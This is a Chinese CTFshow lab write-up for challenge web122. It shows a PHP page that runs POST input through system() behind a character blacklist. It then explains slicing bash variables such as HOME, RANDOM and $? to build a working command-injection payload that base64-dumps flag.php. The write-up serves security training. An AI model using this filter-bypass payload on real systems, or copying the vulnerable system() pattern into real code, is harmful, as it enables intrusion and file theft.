CTFshow-WEB入门-命令执行web122
题目代码
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } }
这道题需要通过切割环境变量的字符来达到命令执行
前置知识:
${HOME}可能为/root、${PATH}可能为bin、${PWD}可能为/var/www/html、${HOSTNAME}、${PHP_VERSION}、${USER}
${PATH:~0:1},取倒数第一个字符(倒着只能取一个,0可以用一个字母代替)
${PATH::1},从第一个切有时可以不写,有时还不能切片
$PATH,不切可以不加花括号
${?}是上一个命令的退出状态,无错误为0、执行p这种错误的为127、执行<A这种的为1
${#}和${?}为0、${##}和${#?}为1
${SHLVL}是记录多个Bash进程实例嵌套深度的累加器,第一次打开shell为1,shell中再打开一个shell为2
${IFS}为空格tab换行符(newline),长度为3
${RANDOM}通常是4、5位的随机数
${#xxx}加井号为结果的长度
解题:
目标命令:/???/?????4 ????.??? 等效 /bin/base64 flag.php
先执行 <A 让 $? 为1
/ 由 ${HOME::$?} 产生
4 由 ${RANDOM::$?} 产生
Payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
【推荐】FFA 2024大会视频回放:Apache Flink 的过去、现在及未来
【推荐】中国电信天翼云云端翼购节,2核2G云服务器一口价38元/年
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步